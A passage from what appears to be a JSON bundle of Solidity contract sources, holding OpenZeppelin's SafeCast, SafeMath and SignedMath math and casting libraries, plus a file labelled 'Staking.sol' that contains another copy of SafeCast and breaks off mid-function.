must be greater than or equal to 0.\r\n *\r\n * _Available since v3.0._\r\n */\r\n function toUint256(int256 value) internal pure returns (uint256) {\r\n require(value \u003e= 0, \"SafeCast: value must be positive\");\r\n return uint256(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int248 from int256, reverting on\r\n * overflow (when the input is less than smallest int248 or\r\n * greater than largest int248).\r\n *\r\n * Counterpart to Solidity\u0027s `int248` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 248 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt248(int256 value) internal pure returns (int248 downcasted) {\r\n downcasted = int248(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 248 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int240 from int256, reverting on\r\n * overflow (when the input is less than smallest int240 or\r\n * greater than largest int240).\r\n *\r\n * Counterpart to Solidity\u0027s `int240` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 240 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt240(int256 value) internal pure returns (int240 downcasted) {\r\n downcasted = int240(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 240 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int232 from int256, reverting on\r\n * overflow (when the input is less than smallest int232 or\r\n * greater than largest int232).\r\n *\r\n * Counterpart to Solidity\u0027s `int232` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 232 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt232(int256 value) internal pure returns (int232 downcasted) {\r\n downcasted = int232(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 232 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int224 from int256, reverting on\r\n * overflow (when the input is less than smallest int224 or\r\n * greater than largest int224).\r\n *\r\n * Counterpart to Solidity\u0027s `int224` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 224 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt224(int256 value) internal pure returns (int224 downcasted) {\r\n downcasted = int224(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 224 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int216 from int256, reverting on\r\n * overflow (when the input is less than smallest int216 or\r\n * greater than largest int216).\r\n *\r\n * Counterpart to Solidity\u0027s `int216` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 216 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt216(int256 value) internal pure returns (int216 downcasted) {\r\n downcasted = int216(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 216 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int208 from int256, reverting on\r\n * overflow (when the input is less than smallest int208 or\r\n * greater than largest int208).\r\n *\r\n * Counterpart to Solidity\u0027s `int208` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 208 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt208(int256 value) internal pure returns (int208 downcasted) {\r\n downcasted = int208(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 208 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int200 from int256, reverting on\r\n * overflow (when the input is less than smallest int200 or\r\n * greater than largest int200).\r\n *\r\n * Counterpart to Solidity\u0027s `int200` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 200 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt200(int256 value) internal pure returns (int200 downcasted) {\r\n downcasted = int200(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 200 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int192 from int256, reverting on\r\n * overflow (when the input is less than smallest int192 or\r\n * greater than largest int192).\r\n *\r\n * Counterpart to Solidity\u0027s `int192` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 192 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt192(int256 value) internal pure returns (int192 downcasted) {\r\n downcasted = int192(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 192 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int184 from int256, reverting on\r\n * overflow (when the input is less than smallest int184 or\r\n * greater than largest int184).\r\n *\r\n * Counterpart to Solidity\u0027s `int184` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 184 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt184(int256 value) internal pure returns (int184 downcasted) {\r\n downcasted = int184(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 184 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int176 from int256, reverting on\r\n * overflow (when the input is less than smallest int176 or\r\n * greater than largest int176).\r\n *\r\n * Counterpart to Solidity\u0027s `int176` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 176 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt176(int256 value) internal pure returns (int176 downcasted) {\r\n downcasted = int176(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 176 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int168 from int256, reverting on\r\n * overflow (when the input is less than smallest int168 or\r\n * greater than largest int168).\r\n *\r\n * Counterpart to Solidity\u0027s `int168` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 168 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt168(int256 value) internal pure returns (int168 downcasted) {\r\n downcasted = int168(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 168 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int160 from int256, reverting on\r\n * overflow (when the input is less than smallest int160 or\r\n * greater than largest int160).\r\n *\r\n * Counterpart to Solidity\u0027s `int160` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 160 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt160(int256 value) internal pure returns (int160 downcasted) {\r\n downcasted = int160(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 160 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int152 from int256, reverting on\r\n * overflow (when the input is less than smallest int152 or\r\n * greater than largest int152).\r\n *\r\n * Counterpart to Solidity\u0027s `int152` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 152 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt152(int256 value) internal pure returns (int152 downcasted) {\r\n downcasted = int152(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 152 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int144 from int256, reverting on\r\n * overflow (when the input is less than smallest int144 or\r\n * greater than largest int144).\r\n *\r\n * Counterpart to Solidity\u0027s `int144` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 144 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt144(int256 value) internal pure returns (int144 downcasted) {\r\n downcasted = int144(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 144 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int136 from int256, reverting on\r\n * overflow (when the input is less than smallest int136 or\r\n * greater than largest int136).\r\n *\r\n * Counterpart to Solidity\u0027s `int136` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 136 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt136(int256 value) internal pure returns (int136 downcasted) {\r\n downcasted = int136(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 136 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int128 from int256, reverting on\r\n * overflow (when the input is less than smallest int128 or\r\n * greater than largest int128).\r\n *\r\n * Counterpart to Solidity\u0027s `int128` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 128 bits\r\n *\r\n * _Available since v3.1._\r\n */\r\n function toInt128(int256 value) internal pure returns (int128 downcasted) {\r\n downcasted = int128(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 128 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int120 from int256, reverting on\r\n * overflow (when the input is less than smallest int120 or\r\n * greater than largest int120).\r\n *\r\n * Counterpart to Solidity\u0027s `int120` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 120 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt120(int256 value) internal pure returns (int120 downcasted) {\r\n downcasted = int120(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 120 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int112 from int256, reverting on\r\n * overflow (when the input is less than smallest int112 or\r\n * greater than largest int112).\r\n *\r\n * Counterpart to Solidity\u0027s `int112` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 112 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt112(int256 value) internal pure returns (int112 downcasted) {\r\n downcasted = int112(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 112 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int104 from int256, reverting on\r\n * overflow (when the input is less than smallest int104 or\r\n * greater than largest int104).\r\n *\r\n * Counterpart to Solidity\u0027s `int104` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 104 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt104(int256 value) internal pure returns (int104 downcasted) {\r\n downcasted = int104(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 104 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int96 from int256, reverting on\r\n * overflow (when the input is less than smallest int96 or\r\n * greater than largest int96).\r\n *\r\n * Counterpart to Solidity\u0027s `int96` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 96 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt96(int256 value) internal pure returns (int96 downcasted) {\r\n downcasted = int96(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 96 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int88 from int256, reverting on\r\n * overflow (when the input is less than smallest int88 or\r\n * greater than largest int88).\r\n *\r\n * Counterpart to Solidity\u0027s `int88` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 88 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt88(int256 value) internal pure returns (int88 downcasted) {\r\n downcasted = int88(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 88 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int80 from int256, reverting on\r\n * overflow (when the input is less than smallest int80 or\r\n * greater than largest int80).\r\n *\r\n * Counterpart to Solidity\u0027s `int80` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 80 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt80(int256 value) internal pure returns (int80 downcasted) {\r\n downcasted = int80(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 80 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int72 from int256, reverting on\r\n * overflow (when the input is less than smallest int72 or\r\n * greater than largest int72).\r\n *\r\n * Counterpart to Solidity\u0027s `int72` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 72 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt72(int256 value) internal pure returns (int72 downcasted) {\r\n downcasted = int72(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 72 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int64 from int256, reverting on\r\n * overflow (when the input is less than smallest int64 or\r\n * greater than largest int64).\r\n *\r\n * Counterpart to Solidity\u0027s `int64` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 64 bits\r\n *\r\n * _Available since v3.1._\r\n */\r\n function toInt64(int256 value) internal pure returns (int64 downcasted) {\r\n downcasted = int64(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 64 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int56 from int256, reverting on\r\n * overflow (when the input is less than smallest int56 or\r\n * greater than largest int56).\r\n *\r\n * Counterpart to Solidity\u0027s `int56` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 56 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt56(int256 value) internal pure returns (int56 downcasted) {\r\n downcasted = int56(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 56 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int48 from int256, reverting on\r\n * overflow (when the input is less than smallest int48 or\r\n * greater than largest int48).\r\n *\r\n * Counterpart to Solidity\u0027s `int48` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 48 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt48(int256 value) internal pure returns (int48 downcasted) {\r\n downcasted = int48(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 48 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int40 from int256, reverting on\r\n * overflow (when the input is less than smallest int40 or\r\n * greater than largest int40).\r\n *\r\n * Counterpart to Solidity\u0027s `int40` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 40 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt40(int256 value) internal pure returns (int40 downcasted) {\r\n downcasted = int40(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 40 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int32 from int256, reverting on\r\n * overflow (when the input is less than smallest int32 or\r\n * greater than largest int32).\r\n *\r\n * Counterpart to Solidity\u0027s `int32` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 32 bits\r\n *\r\n * _Available since v3.1._\r\n */\r\n function toInt32(int256 value) internal pure returns (int32 downcasted) {\r\n downcasted = int32(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 32 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int24 from int256, reverting on\r\n * overflow (when the input is less than smallest int24 or\r\n * greater than largest int24).\r\n *\r\n * Counterpart to Solidity\u0027s `int24` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 24 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt24(int256 value) internal pure returns (int24 downcasted) {\r\n downcasted = int24(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 24 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int16 from int256, reverting on\r\n * overflow (when the input is less than smallest int16 or\r\n * greater than largest int16).\r\n *\r\n * Counterpart to Solidity\u0027s `int16` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 16 bits\r\n *\r\n * _Available since v3.1._\r\n */\r\n function toInt16(int256 value) internal pure returns (int16 downcasted) {\r\n downcasted = int16(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 16 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int8 from int256, reverting on\r\n * overflow (when the input is less than smallest int8 or\r\n * greater than largest int8).\r\n *\r\n * Counterpart to Solidity\u0027s `int8` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 8 bits\r\n *\r\n * _Available since v3.1._\r\n */\r\n function toInt8(int256 value) internal pure returns (int8 downcasted) {\r\n downcasted = int8(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 8 bits\");\r\n }\r\n\r\n /**\r\n * @dev Converts an unsigned uint256 into a signed int256.\r\n *\r\n * Requirements:\r\n *\r\n * - input must be less than or equal to maxInt256.\r\n *\r\n * _Available since v3.0._\r\n */\r\n function toInt256(uint256 value) internal pure returns (int256) {\r\n // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive\r\n require(\r\n value \u003c= uint256(type(int256).max),\r\n \"SafeCast: value doesn\u0027t fit in an int256\"\r\n );\r\n return int256(value);\r\n }\r\n}"},"SafeMath.sol":{"content":"library SafeMath {\r\n /**\r\n * @dev Returns the addition of two unsigned integers, with an overflow flag.\r\n *\r\n * _Available since v3.4._\r\n */\r\n function tryAdd(\r\n uint256 a,\r\n uint256 b\r\n ) internal pure returns (bool, uint256) {\r\n unchecked {\r\n uint256 c = a + b;\r\n if (c \u003c a) return (false, 0);\r\n return (true, c);\r\n }\r\n }\r\n\r\n /**\r\n * @dev Returns the substraction of two unsigned integers, with an overflow flag.\r\n *\r\n * _Available since v3.4._\r\n */\r\n function trySub(\r\n uint256 a,\r\n uint256 b\r\n ) internal pure returns (bool, uint256) {\r\n unchecked {\r\n if (b \u003e a) return (false, 0);\r\n return (true, a - b);\r\n }\r\n }\r\n\r\n /**\r\n * @dev Returns the multiplication of two unsigned integers, with an overflow flag.\r\n *\r\n * _Available since v3.4._\r\n */\r\n function tryMul(\r\n uint256 a,\r\n uint256 b\r\n ) internal pure returns (bool, uint256) {\r\n unchecked {\r\n // Gas optimization: this is cheaper than requiring \u0027a\u0027 not being zero, but the\r\n // benefit is lost if \u0027b\u0027 is also tested.\r\n // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522\r\n if (a == 0) return (true, 0);\r\n uint256 c = a * b;\r\n if (c / a != b) return (false, 0);\r\n return (true, c);\r\n }\r\n }\r\n\r\n /**\r\n * @dev Returns the division of two unsigned integers, with a division by zero flag.\r\n *\r\n * _Available since v3.4._\r\n */\r\n function tryDiv(\r\n uint256 a,\r\n uint256 b\r\n ) internal pure returns (bool, uint256) {\r\n unchecked {\r\n if (b == 0) return (false, 0);\r\n return (true, a / b);\r\n }\r\n }\r\n\r\n /**\r\n * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.\r\n *\r\n * _Available since v3.4._\r\n */\r\n function tryMod(\r\n uint256 a,\r\n uint256 b\r\n ) internal pure returns (bool, uint256) {\r\n unchecked {\r\n if (b == 0) return (false, 0);\r\n return (true, a % b);\r\n }\r\n }\r\n\r\n /**\r\n * @dev Returns the addition of two unsigned integers, reverting on\r\n * overflow.\r\n *\r\n * Counterpart to Solidity\u0027s `+` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - Addition cannot overflow.\r\n */\r\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\r\n return a + b;\r\n }\r\n\r\n /**\r\n * @dev Returns the subtraction of two unsigned integers, reverting on\r\n * overflow (when the result is negative).\r\n *\r\n * Counterpart to Solidity\u0027s `-` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - Subtraction cannot overflow.\r\n */\r\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\r\n return a - b;\r\n }\r\n\r\n /**\r\n * @dev Returns the multiplication of two unsigned integers, reverting on\r\n * overflow.\r\n *\r\n * Counterpart to Solidity\u0027s `*` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - Multiplication cannot overflow.\r\n */\r\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\r\n return a * b;\r\n }\r\n\r\n /**\r\n * @dev Returns the integer division of two unsigned integers, reverting on\r\n * division by zero. The result is rounded towards zero.\r\n *\r\n * Counterpart to Solidity\u0027s `/` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - The divisor cannot be zero.\r\n */\r\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\r\n return a / b;\r\n }\r\n\r\n /**\r\n * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),\r\n * reverting when dividing by zero.\r\n *\r\n * Counterpart to Solidity\u0027s `%` operator. This function uses a `revert`\r\n * opcode (which leaves remaining gas untouched) while Solidity uses an\r\n * invalid opcode to revert (consuming all remaining gas).\r\n *\r\n * Requirements:\r\n *\r\n * - The divisor cannot be zero.\r\n */\r\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\r\n return a % b;\r\n }\r\n\r\n /**\r\n * @dev Returns the subtraction of two unsigned integers, reverting with custom message on\r\n * overflow (when the result is negative).\r\n *\r\n * CAUTION: This function is deprecated because it requires allocating memory for the error\r\n * message unnecessarily. For custom revert reasons use {trySub}.\r\n *\r\n * Counterpart to Solidity\u0027s `-` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - Subtraction cannot overflow.\r\n */\r\n function sub(\r\n uint256 a,\r\n uint256 b,\r\n string memory errorMessage\r\n ) internal pure returns (uint256) {\r\n unchecked {\r\n require(b \u003c= a, errorMessage);\r\n return a - b;\r\n }\r\n }\r\n\r\n /**\r\n * @dev Returns the integer division of two unsigned integers, reverting with custom message on\r\n * division by zero. The result is rounded towards zero.\r\n *\r\n * Counterpart to Solidity\u0027s `/` operator. Note: this function uses a\r\n * `revert` opcode (which leaves remaining gas untouched) while Solidity\r\n * uses an invalid opcode to revert (consuming all remaining gas).\r\n *\r\n * Requirements:\r\n *\r\n * - The divisor cannot be zero.\r\n */\r\n function div(\r\n uint256 a,\r\n uint256 b,\r\n string memory errorMessage\r\n ) internal pure returns (uint256) {\r\n unchecked {\r\n require(b \u003e 0, errorMessage);\r\n return a / b;\r\n }\r\n }\r\n\r\n /**\r\n * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),\r\n * reverting with custom message when dividing by zero.\r\n *\r\n * CAUTION: This function is deprecated because it requires allocating memory for the error\r\n * message unnecessarily. For custom revert reasons use {tryMod}.\r\n *\r\n * Counterpart to Solidity\u0027s `%` operator. This function uses a `revert`\r\n * opcode (which leaves remaining gas untouched) while Solidity uses an\r\n * invalid opcode to revert (consuming all remaining gas).\r\n *\r\n * Requirements:\r\n *\r\n * - The divisor cannot be zero.\r\n */\r\n function mod(\r\n uint256 a,\r\n uint256 b,\r\n string memory errorMessage\r\n ) internal pure returns (uint256) {\r\n unchecked {\r\n require(b \u003e 0, errorMessage);\r\n return a % b;\r\n }\r\n }\r\n}"},"SignedMath.sol":{"content":"// SPDX-License-Identifier: MIT\r\n// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SignedMath.sol)\r\n\r\npragma solidity ^0.8.0;\r\n\r\n/**\r\n * @dev Standard signed math utilities missing in the Solidity language.\r\n */\r\nlibrary SignedMath {\r\n /**\r\n * @dev Returns the largest of two signed numbers.\r\n */\r\n function max(int256 a, int256 b) internal pure returns (int256) {\r\n return a \u003e b ? a : b;\r\n }\r\n\r\n /**\r\n * @dev Returns the smallest of two signed numbers.\r\n */\r\n function min(int256 a, int256 b) internal pure returns (int256) {\r\n return a \u003c b ? a : b;\r\n }\r\n\r\n /**\r\n * @dev Returns the average of two signed numbers without overflow.\r\n * The result is rounded towards zero.\r\n */\r\n function average(int256 a, int256 b) internal pure returns (int256) {\r\n // Formula from the book \"Hacker\u0027s Delight\"\r\n int256 x = (a \u0026 b) + ((a ^ b) \u003e\u003e 1);\r\n return x + (int256(uint256(x) \u003e\u003e 255) \u0026 (a ^ b));\r\n }\r\n\r\n /**\r\n * @dev Returns the absolute unsigned value of a signed value.\r\n */\r\n function abs(int256 n) internal pure returns (uint256) {\r\n unchecked {\r\n // must be unchecked in order to support `n = type(int256).min`\r\n return uint256(n \u003e= 0 ? n : -n);\r\n }\r\n }\r\n}"},"Staking.sol":{"content":"// SPDX-License-Identifier: MIT\r\n// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SafeCast.sol)\r\n// This file was procedurally generated from scripts/generate/templates/SafeCast.js.\r\n\r\npragma solidity ^0.8.0;\r\n\r\n/**\r\n * @dev Wrappers over Solidity\u0027s uintXX/intXX casting operators with added overflow\r\n * checks.\r\n *\r\n * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can\r\n * easily result in undesired exploitation or bugs, since developers usually\r\n * assume that overflows raise errors. `SafeCast` restores this intuition by\r\n * reverting the transaction when such an operation overflows.\r\n *\r\n * Using this library instead of the unchecked operations eliminates an entire\r\n * class of bugs, so it\u0027s recommended to use it always.\r\n *\r\n * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing\r\n * all math on `uint256` and `int256` and then downcasting.\r\n */\r\nlibrary SafeCast {\r\n /**\r\n * @dev Returns the downcasted uint248 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint248).\r\n *\r\n * Counterpart to Solidity\u0027s `uint248` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 248 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint248(uint256 value) internal pure returns (uint248) {\r\n require(\r\n value \u003c= type(uint248).max,\r\n \"SafeCast: value doesn\u0027t fit in 248 bits\"\r\n );\r\n return uint248(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint240 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint240).\r\n *\r\n * Counterpart to Solidity\u0027s `uint240` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 240 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint240(uint256 value) internal pure returns (uint240) {\r\n require(\r\n value \u003c= type(uint240).max,\r\n \"SafeCast: value doesn\u0027t fit in 240 bits\"\r\n );\r\n return uint240(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint232 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint232).\r\n *\r\n * Counterpart to Solidity\u0027s `uint232` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 232 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint232(uint256 value) internal pure returns (uint232) {\r\n require(\r\n value \u003c= type(uint232).max,\r\n \"SafeCast: value doesn\u0027t fit in 232 bits\"\r\n );\r\n return uint232(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint224 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint224).\r\n *\r\n * Counterpart to Solidity\u0027s `uint224` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 224 bits\r\n *\r\n * _Available since v4.2._\r\n */\r\n function toUint224(uint256 value) internal pure returns (uint224) {\r\n require(\r\n value \u003c= type(uint224).max,\r\n \"SafeCast: value doesn\u0027t fit in 224 bits\"\r\n );\r\n return uint224(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint216 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint216).\r\n *\r\n * Counterpart to Solidity\u0027s `uint216` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 216 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint216(uint256 value) internal pure returns (uint216) {\r\n require(\r\n value \u003c= type(uint216).max,\r\n \"SafeCast: value doesn\u0027t fit in 216 bits\"\r\n );\r\n return uint216(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint208 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint208).\r\n *\r\n * Counterpart to Solidity\u0027s `uint208` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 208 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint208(uint256 value) internal pure returns (uint208) {\r\n require(\r\n value \u003c= type(uint208).max,\r\n \"SafeCast: value doesn\u0027t fit in 208 bits\"\r\n );\r\n return uint208(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint200 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint200).\r\n *\r\n * Counterpart to Solidity\u0027s `uint200` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 200 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint200(uint256 value) internal pure returns (uint200) {\r\n require(\r\n value \u003c= type(uint200).max,\r\n \"SafeCast: value doesn\u0027t fit in 200 bits\"\r\n );\r\n return uint200(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint192 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint192).\r\n *\r\n * Counterpart to Solidity\u0027s `uint192` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 192 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint192(uint256 value) internal pure returns (uint192) {\r\n require(\r\n value \u003c= type(uint192).max,\r\n \"SafeCast: value doesn\u0027t fit in 192 bits\"\r\n );\r\n return uint192(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint184 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint184).\r\n *\r\n * Counterpart to Solidity\u0027s `uint184` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 184 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint184(uint256 value) internal pure returns (uint184) {\r\n require(\r\n value \u003c= type(uint184).max,\r\n \"SafeCast: value doesn\u0027t fit in 184 bits\"\r\n );\r\n return uint184(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint176 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint176).\r\n *\r\n * Counterpart to Solidity\u0027s `uint176` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 176 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint176(uint256 value) internal pure returns (uint176) {\r\n require(\r\n value \u003c= type(uint176).max,\r\n \"SafeCast: value doesn\u0027t fit in 176 bits\"\r\n );\r\n return uint176(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint168 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint168).\r\n *\r\n * Counterpart to Solidity\u0027s `uint168` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 168 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function 